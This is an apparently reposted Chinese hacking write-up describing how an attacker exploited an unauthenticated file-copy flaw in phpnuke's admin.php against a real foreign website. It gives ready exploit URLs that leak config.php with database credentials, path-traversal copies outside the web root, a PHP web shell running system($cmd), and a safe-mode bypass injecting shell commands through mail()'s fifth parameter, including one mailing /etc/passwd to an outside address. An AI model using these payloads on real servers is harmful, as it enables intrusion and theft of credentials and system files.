网络通信 频道

SAN是怎么利用phpnuke的漏洞做坏事的

一、phpnuke的漏洞
  2001-9-24日的bugtraq里,有一则短短的twlc security divison,说明了phpnuke所有版本(除了5.0RC1)的admin.php文件中,存在一个文件上传的漏洞,因为没有对用户的身份进行验证,所以任何一个用户都可以借此拷贝机器上的任意文件到phpnuke或者phpnuke以外的任意一个有权限的目录。有问题的代码出在下面这段:
  
  $basedir = dirname($SCRIPT_FILENAME);
  $textrows = 20;
  $textcols = 85;
  $udir = dirname($PHP_SELF);
  if(!$wdir) $wdir="/";
  if($cancel) $op="FileManager";
  if($upload) {
   //^^^^^^
   // +----------------->只是判断是否$upload=1,而没有做任何身份的验证
    copy($userfile,$basedir.$wdir.$userfile_name);
    $lastaction = ""._UPLOADED." $userfile_name --> $wdir";
    // This need a rewrite -------------------------------------> OMG! WE AGREEEEEEEE lmao
    //include("header.php");
    //GraphicAdmin($hlpfile);
    //html_header();
    //displaydir();
    $wdir2="/";
    chdir($basedir . $wdir2);
    //CloseTable();
    //include("footer.php");
    Header("Location: admin.php?op=FileManager");
    exit;
  }
  
  phpnuke是一个使用非常广泛的php程序,国内外有许多大的UNIX\GNU\Linux站点都是使用这套程序,而一般使用者都很少disable掉里面一些看起来非常强大,但实则容易出问题的函数。而且phpnuke做出来的页面,风格非常明显,易于辨认,所以san就找了一个国外站点试了试……
  
  二、简单利用
  很直接的利用方法就是,用下面的语句将phpnuke的配置文件config.php拷贝到phpnuke目录下的images/hacked.txt,如下:
  
  http://www.server.net/admin.php?upload=1&file=config.php&file_name=hacked.txt&wdir=/images/&userfile=config.php&userfile_name=hacked.txt
  
  这样通过在浏览器上输入:
  
  http://www.server.net/images/hacked.txt,就可以看到config.php的内容了,当然包括里面的sql密码等敏感信息,比如下面就是该server的config.php片断:
  
  -----------------snip--------------------------
  
  ######################################################################
  # Database & System Config
  #
  # dbhost:  MySQL Database Hostname
  # dbuname: MySQL Username
  # dbpass:  MySQL Password
  # dbname:  MySQL Database Name
  # system:  0 for Unix/Linux, 1 for Windows
  ######################################################################
  
  $dbhost = "localhost";
  $dbuname = "phpnuke";
  $dbpass = "nukeitnow";
  $dbname = "phpnuke_44";
  $system = 0;
  
  -----------------snip--------------------------
  
  而且,通过这一漏洞,你甚至可以将文件复制到phpnuke以外的目录,比如(这是俺在自己机器上测试的:):
  
  root@somehost:/tmp > ls -la
  total 20
  drwxrwxrwt  8 root   root     2048 Sep 25 13:37 .
  drwxr-xr-x 19 root   root     2048 Feb 28 2001 ..
  drwxrwxrwt  2 root   root     2048 Mar 6 2001 .X11-unix
  -rw-r--r--  1 root   root     851 Sep 25 13:37 copyme.txt
  ....
  
  在浏览器里输入以下url:
  
  http://www.server.net/admin.php?upload=1&wdir=/../../../../../../../tmp&userfile=/../../../../../../../tmp/copyme.txt&userfile_name=/../../../../../../../tmp/hacked.txt
  
  root@somehost:/tmp > ls -la
  total 20
  drwxrwxrwt  8 root   root     2048 Sep 25 13:37 .
  drwxr-xr-x 19 root   root     2048 Feb 28 2001 ..
  drwxrwxrwt  2 root   root     2048 Mar 6 2001 .X11-unix
  -rw-r--r--  1 root   root     851 Sep 25 13:37 copyme.txt
  -rwxr-xr-x  1 wwwrun  wwwrun    851 Sep 25 13:37 hacked.txt
  ....
  
  hacked.txt已经被顺利地复制到/tmp下面了。
  
  通常这时候是先试试看passwd吧……但是当san希望通过指定不同的文件名,来将/etc/passwd文件拷贝到images目录下时,却发生了意外……:
  
  输入如下url:
  
  http://www.server.net/admin.php?upload=1&file=/etc/passwd&file_name=hacked.txt&wdir=/images/&userfile=/etc/passwd&userfile_name=hacked.txt
  
  浏览器里返回的结果有这么一句话:
  
  Warning: SAFE MODE Restriction in effect. The script whose uid is 180 is not allowed to access /etc/passwd owned by uid 0 in /home/htdocs/www-edu/admin.php on line 398
  
  本来以为这样便将/etc/passwd文件复制到images/hacked.txt了,同样可以通过浏览器来看到它,但结果却是不让拷,实在有些扫兴,但这也越发激起了san的斗志……xixi。
  
  三、文件上传
  1、脚本文件
  
  但是只能浏览一些敏感信息,xundi姐姐觉得不太满意,提出要能执行命令的要求,于是san只好再挖空心思……首先是写一个简单的php脚本,如果将它上载到服务器上,便可以利用该脚本执行命令了:
  
  ------------test1.php------------
  <?php
  echo" 
  "; 
  system("$cmd"); 
  echo" 
  "; 
  ?>
  ------------test1.php------------
  
  2、上载文件至phpnuke目录下
  
  当执行完比如
  http://www.server.net/admin.php?upload=1&file=config.php&file_name=hacked.txt&wdir=/images/&userfile=config.php&userfile_name=hacked.txt
  
  这样的命令后,phpnuke返回的是filemanager的界面,这时我们就可以简单地选择在选择本地的文件后,选择upload把文件传到当前目录下(现在是images/下面),就这样,san把test1.php传上去了……
  
  3、执行命令
  
  在浏览器中输入http://www.server.net/images/test1.php?cmd=id,按照我们的构想,应该返回web server运行者的id号,但结果……
  
  居然返回空白?
  
  4、safe mod
  
  原来是这台web server使用了php的safe mod来运行,下面的例子是从php的安全模式说明文件中摘出来的,比如我们希望在一台以safe mod运行的php web server上执行下面代码:
  
  <?php
  readfile(''/etc/passwd'');
  ?> 
   
  结果浏览器会返回如下结果:
  
  results in this error when Safe Mode is enabled: Warning: SAFE MODE Restriction in effect. The script whose uid is 500 is not
  allowed to access /etc/passwd owned by uid 0 in /docroot/script.php on line 2
  
  这就是前面我们无法拷贝/etc/passwd的原因了,同样的,在安全模式下,system()调用等等也是被禁止的,我们只能够执行safe_mode_exec_dir里允许的可执行文件,所以,我们的test1.php在这里失去了用武之地……
  
  四、突破限制
  1、突破safe mod
  
  先让我们看看san在他的一篇文章里写到的:
  
  -------------------snip------------------------
  2、mail函数的第五个参数
  在php-4.0.5的时候,mail函数引入了第五个参数,用来设置在实际发送邮件的时候增加额外的命令行参数, 但是没有很好的检查特殊SHELL命令字符,所以出现执行命令的大问题。就像手册里的例子: mail("nobody@aol.com", "the subject", $message, "From: webmaster@$SERVER_NAME", "-fwebmaster@$SERVERNAME"); 这个是存在问题的,如果$SERVER_NAME=;mail san@xfocus.org < /etc/passwd就能把机器的密码发送到我的信箱了。
  
  这里提醒一下,php手册里还有好几个例子存在安全问题的,大家实际使用的时候不要照搬,它只是演示函数的基本功能,理解了就可以了。
  
  对于mail函数的这个问题,最简单的我们就不用这个第五个参数,要使用就过滤非法的字符如(;),还有就是修改 php源码包的程序ext/standard/mail.c,在if (extra_cmd != NULL) { 前增加如下一行: extra_cmd=NULL
  
  然后重新编译。
  -------------------snip------------------------
  
  通过这一原理,我们准备突破safe mod的限制了……先看看san写的test2.php
  
  -----------------test2.php-------------------------
  <?
  mail("nobody@kk.com", "the subject", $message, "From: webmaster@;cp /etc/passwd /home/htdocs/www-edu/images/kk.txt", "-fwebmaster@;cp /etc/passwd /home/htdocs/www-edu/images/kk.txt");?>
  -----------------test2.php-------------------------
  
  将test2.php上传到web服务器上并执行后,我们从浏览器中看http://www.somesite.net/images/kk.txt,可以看到,我们已经可以拷贝/etc/passwd了,也就是说,已经突破了safe mod的限制了……下面便是passwd的片断:
  <

文章转载地址:http://www.cnpaf.net/Class/hack/06101110492291194480.html

0
相关文章